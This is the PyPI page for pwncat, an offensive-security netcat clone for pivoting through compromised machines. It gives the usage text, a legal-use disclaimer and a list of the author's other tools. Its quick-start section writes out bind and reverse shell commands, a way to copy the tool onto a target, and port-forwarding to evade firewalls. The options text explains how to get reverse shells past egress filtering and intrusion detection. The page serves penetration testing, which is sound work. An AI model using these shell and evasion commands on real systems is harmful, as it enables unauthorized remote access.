Netcat with cmd exec, connect, listen and (local/remote) port-forwarding modes.
Project description
pwncat
Install | TL;DR | Usage | cytopia sec tools | Contributing | Disclaimer | License
Dependency-less Python 2 and Python 3 compatible implementation of netcat which works on 32bit and 64bit systems to easily pivot your target.
Motivation
To have a single tool for older, newer, 32bit and 64bit machines with relevant options (-e
. -L
and -R
) to create bind shells, local and remote port-forwards.
Todo
The options e
, -n
, -L
, and -R
are still under development. See Usage for other available options.
:tada: Install
pip install pwncat
:coffee: TL;DR
Copy to target
# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64
# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > pwncat
chmod +x pwncat
Summon shells
# bind shell
pwncat -l -e '/bin/bash' 8080
# reverse shell
pwncat -e '/bin/bash' example.com 4444
Port-forwarding without SSH
# Make local port available to public interface locally
pwncat -L 127.0.0.1:3306 192.168.0.1 3306
# Remote port-forwarding to evade firewalls
pwncat -R 127.0.0.1:3306 example.com 4444
:computer: Usage
usage: pwncat [-Cnuv] [-e cmd] hostname port
pwncat [-Cnuv] [-e cmd] -l [hostname] port
pwncat [-Cnuv] -z hostname port
pwncat [-Cnuv] -L addr:port [hostname] port
pwncat [-Cnuv] -R addr:port hostname port
pwncat -V, --version
pwncat -h, --help
Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection systems.
positional arguments:
hostname Address to listen, forward or connect to
port Port to listen, forward or connect to
mode arguments:
-l, --listen [Listen mode]:
Start server and listen for incoming connections.
-z, --zero [Zero-I/0 mode]:
Connect to a remote endpoint and report status only.
-L addr:port, --local addr:port
[Local forward mode]:
Specify local <addr>:<port> to which traffic should be
forwarded to. pwncat will listen locally
(specified by hostname and port) and forward all
traffic to the specified value for -L/--local.
-R addr:port, --remote addr:port
[Remote forward mode]:
Specify local <addr>:<port> from which traffic should be
forwarded from. pwncat will connect remotely
(specified by hostname and port) and for ward all
traffic from the specified value for -R/--remote.
optional arguments:
-e cmd, --exec cmd Execute shell command. Only for connect or listen mode.
-C, --crlf Send CRLF line-endings in connect mode (default: LF)
-n, --nodns Do not resolve DNS.
-u, --udp UDP mode
-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv
or -vvvv for more verbosity. The server performance will
decrease drastically if you use more than three -v.
advanced arguments:
--reinit x Listen mode (TCP only):
If the server is unable to bind or accept clients, it
will re-initialize itself x many times before giving up.
Use 0 to re-initialize endlessly. (default: don't).
Connect mode (TCP only):
If the client is unable to connect to a remote endpoint,
it will try again x many times before giving up.
Use 0 to retry endlessly. (default: don't)
Zero-I/O mode (TCP only):
Same as connect mode.
--reconn x Listen mode (TCP only):
If the client has hung up, the server will re-accept a
new client x many times before quitting. Use 0 to accept
endlessly. (default: quit after a client has hung up)
Connect mode (TCP only):
If the remote server is gone, the client will re-connect
to it x many times before giving up. Use 0 to reconnect
endlessy. (default: don't)
This might be handy for reverse shells ;-)
--reinit-robin port Connect mode (TCP only):
If the client does multiple initial connections to a
remote endpoint (via --reinit), this option instructs it
to also "round-robin" different ports to connect to. It
will stop iterating after first successfull connection
and stick with it or quit if --reinit limit is reached.
Use comma separated string: 80,81,82 or a range 80-100.
Set --reinit to at least the number of ports to probe +1
Set --reinit-wait to 0
This helps to evade EGRESS firewalls for reverse shells
Use with -z/--zero to probe outbound allowed ports.
Ensure to have enough listeners at the remote endpoint.
--reconn-robin port Connect mode (TCP only):
If the remote endpoint is gone after initial successful
connection, and the the client is set to reconnect with
(--reconn), it will connect back by "round-robin" to
different ports. It will stop after --reconn limit has
reached.
Set --reconn to at least the number of ports to probe +1
Set --reconn-wait to 0
This help your reverse shell to evade intrusion
detection systems that will cut your connection and
block the outbound port.
--reinit-wait s Wait x seconds between re-inits. (default: 1)
--reconn-wait s Wait x seconds between re-connects. (default: 1)
--udp-ping-intvl s Connect mode (UDP only):
As UDP is stateless, a client must first connect to a
server before the server can communicate with it.
If you listen on UDP and wait for a reverse UDP client
or reverse UDP shell, you can only talk to it after it
has sent you some initial data, as UDP does not have a
"connect" state like TCP.
This option instructs the UDP client to send a single
newline every s seconds. By not only doing it once,
but in intervals, you can also maintain a connection
if you restart your listening server.
misc arguments:
-h, --help Show this help message and exit
-V, --version Show version information and exit
:lock: cytopia sec tools
Below is a list of sec tools and docs I am maintaining.
Name | Category | Language | Description |
---|---|---|---|
offsec | Documentation | Markdown | Offsec checklist, tools and examples |
header-fuzz | Enumeration | Bash | Fuzz HTTP headers |
smtp-user-enum | Enumeration | Python 2+3 | SMTP users enumerator |
urlbuster | Enumeration | Python 2+3 | Mutable web directory fuzzer |
pwncat | Pivoting | Python 2+3 | Cross-platform netcat on steroids |
badchars | Reverse Engineering | Python 2+3 | Badchar generator |
fuzza | Reverse Engineering | Python 2+3 | TCP fuzzing tool |
:octocat: Contributing
See Contributing guidelines to help to improve this project.
:exclamation: Disclaimer
This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.
:page_facing_up: License
Copyright (c) 2020 cytopia
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Hashes for pwncat-0.0.2a0-py2.py3-none-any.whl
Algorithm | Hash digest | |
---|---|---|
SHA256 | 1f401ea3dd6a734aeca826877e5b22caa7dbc8fa842592b64cb0eacdf473b97f |
|
MD5 | 5c817e59d54414b16e34a4023ae75442 |
|
BLAKE2b-256 | 83558645a06fd6784ba05d7f013b0e4aa8c54f6814d31a459419d79b7cac4097 |